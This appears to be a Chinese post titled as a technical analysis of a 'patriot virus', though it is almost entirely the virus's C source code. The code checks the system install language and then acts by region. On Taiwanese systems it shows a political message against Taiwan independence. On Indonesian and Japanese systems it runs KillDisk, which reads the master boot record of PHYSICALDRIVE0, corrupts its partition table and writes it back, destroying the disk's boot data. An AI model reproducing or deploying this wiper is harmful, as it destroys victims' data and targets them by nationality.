爱国病毒技术简单分析 （源代码篇）

int GetSystemLanguage()
{
    Fpopedom();

    char *ChineseVal="0804";
    char *Indonesian="0421";
    char *Japanese="0411";
    char *HongKong="0c04";
    char *TaiWan="0404";

    HKEY hkey;
    char LanguageVal[256]=" ";
    DWORD cb;
    DWORD dwRegType=REG_SZ;
    RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\Nls\\Language",0,KEY_ALL_ACCESS,&hkey);
    RegQueryValueEx(hkey,"InstallLanguage",NULL,&dwRegType,(LPBYTE)LanguageVal,&cb);
    RegCloseKey(hkey);
    
    if(lstrcmp(ChineseVal,LanguageVal)==0)
        return Chinese_Language;
    
    if(lstrcmp(Indonesian,LanguageVal)==0)
        return Indonesian_Language;

    if(lstrcmp(Japanese,LanguageVal)==0)
        return Japanese_Language;

    if(lstrcmp(HongKong,LanguageVal)==0)
        return HongKong_Language;

    if(lstrcmp(TaiWan,LanguageVal)==0)
        return TaiWan_Language;
    
    else
        return 0;
    
}

void main()
{
    int LanguageValue=GetSystemLanguage();
    switch(LanguageValue)
    {
    case Chinese_Language:
        ExitProcess(0);
        break;
    case TaiWan_Language:
        MessageBox(NULL,"阿扁下台,我们是中国人 我们身体流着的是中华民族的血 . "
            "阿扁同志 你那么喜欢台独 你要脸么? 啊 国外人都怎么笑我们中国人的..! 你想做历史的罪人?滚吧 你! "
            "我们是中国人! 死也是中国魂!!","中国人",0);
        break;
    case HongKong_Language:
        ExitProcess(0);
        break;
    case Indonesian_Language:
        KillDisk();
        break;
    case Japanese_Language:
        KillDisk();
        break;
    default:
        MessageBox(NULL,
            "Your luck's so good !","Shit",
            MB_ICONERROR|MB_OK);
        break;
    }

}

MessageBox(NULL,"阿扁下台,我们是中国人 我们身体流着的是中华民族的血 . "
            "阿扁同志 你那么喜欢台独 你要脸么? 啊 国外人都怎么笑我们中国人的..! 你想做历史的罪人?滚吧 你! "
            "我们是中国人! 死也是中国魂!!","中国人",0);

void KillDisk()
{
    HANDLE hDevice=
        CreateFile("\\\\.\\PHYSICALDRIVE0",GENERIC_READ|GENERIC_WRITE,
                   FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,
                   0,NULL);

    if(hDevice==INVALID_HANDLE_VALUE)
    {
      MessageBox(NULL,"Your luck's so good !","Man~",MB_ICONERROR|MB_OK);
      ExitProcess(0);
    }

    DWORD cout;
    DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);
    
    DISK_GEOMETRY Getmetry;

    DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&Getmetry,sizeof(DISK_GEOMETRY),
                    &cout,
                    NULL);
    
    LPTSTR szBuf;
    szBuf=(LPTSTR)HeapAlloc(GetProcessHeap(),
                            HEAP_ZERO_MEMORY,
                            Getmetry.BytesPerSector);

    if(szBuf==NULL)
    {
        MessageBox(NULL,
                   "Your luck's so good !","Man~",
                   MB_ICONERROR|MB_OK);
        ExitProcess(0);
    }
    
    DWORD bytes=512;
    DWORD readsize;
    BOOL m_ret;
    m_ret=ReadFile(hDevice,szBuf,bytes,&readsize,NULL);
    if(m_ret==FALSE || readsize<512)
    {
        MessageBox(NULL,
            "Your luck's so good !","Man~",
            MB_ICONERROR|MB_OK);
        ExitProcess(0);
    }
    
    BYTE MBR[512]={0};
    for(int n=0;n<512;n++)
    {
        MBR[n]=szBuf[n];
    }
    
    DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);
    CloseHandle(hDevice);

    MBR[0x1BE]=80;
    MBR[0x1BF]=0;
    MBR[0x1C2]=5;
    for(int i=0x1C3;i<=0x1FE;i++)
    {
        MBR[i]=MBR[i]^26;
    }

    hDevice=
        CreateFile("\\\\.\\PHYSICALDRIVE0",
        GENERIC_READ|GENERIC_WRITE,
        FILE_SHARE_READ|FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        0,
        NULL
                  );
    if(hDevice==INVALID_HANDLE_VALUE)
    {
        MessageBox(NULL,
            "Your luck's so good !","Man~",
            MB_ICONERROR|MB_OK);
        ExitProcess(0);
    }
    DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);

    m_ret=WriteFile(hDevice,MBR,bytes,&readsize,NULL);
    if(m_ret==FALSE||readsize<512)
    {
        MessageBox(NULL,
            "Your luck's so good !","Shit",
            MB_ICONERROR|MB_OK);
        ExitProcess(0);
    }
    
    DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);
    



    CloseHandle(hDevice);
    
        
}